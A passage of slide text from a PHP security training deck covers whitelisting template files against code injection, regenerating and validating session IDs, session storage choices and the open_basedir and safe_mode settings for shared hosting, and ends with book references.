  • 28. . Training work with a white-list of acceptable values. //create an array of acceptable file names $tmpl = array(); foreach(glob(&quot;templates/*.tmpl&quot;) as $v) { $tmpl[md5($v)] = $v; } if (isset($tmpl[$_GET['path']])) { $fp = fopen($tmpl[$_GET['path']], &quot;r&quot;); } Code Injection Prevention
  • 29. . Training Session Security
  • 30. . Training Sessions are a common tool for user tracking across a web site. For the duration of a visit, the session is effectively the user’s identity. If an active session can be obtained by 3rd party, it can assume the identity of the user who’s session was compromised. Session Security
  • 31. . Training To prevent session id theft, the id can be altered on every request, invalidating old values. <?php session_start(); if (!empty($_SESSION)) { // not a new session session_regenerate_id(TRUE); // make new session id } ?> Because the session changes on every request, the “back” button in a browser will no longer work, as it will make a request with the old session id. Securing Session ID
  • 32. . Training Another session security technique is to compare the browser signature headers. session_start(); $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']); if (empty($_SESSION)) $_SESSION['key'] = $chk; else if ($_SESSION['key'] != $chk) session_destroy(); Session Validation
  • 33. . Training By default PHP sessions are stored as files inside the common / tmp directory. This often means any user on the system could see active sessions and “acquire” them or even modify their content. Solutions? Separate session storage directory via session.save_path Database storage mechanism, mysql, pgsql, oci, sqlite. Custom session handler allowing data storage anywhere. Safer Session Storage
  • 34. . Training Shared Hosting
  • 35. . Training Most PHP applications run in shared environments where all users “share” the same web server instances. This means that all files that are involved in serving content must be accessible to the web server (world readable). Consequently it means that any user could read the content of files of all other users. Shared Hosting
  • 36. . Training PHP’s solution to this problem are 2 php.ini directives. open_basedir – limits file access to one or more specified directories. Relatively Efficient. Uncomplicated. safe_mode – limits file access based on uid/gid of running script and file to be accessed. Slow and complex approach. Can be bypassed with little effort. The PHP Solution
  • 37. . Training php|architect’s Guide to PHP Security By Ilia Alshanetsky Essential PHP Security By Chris Shiflett References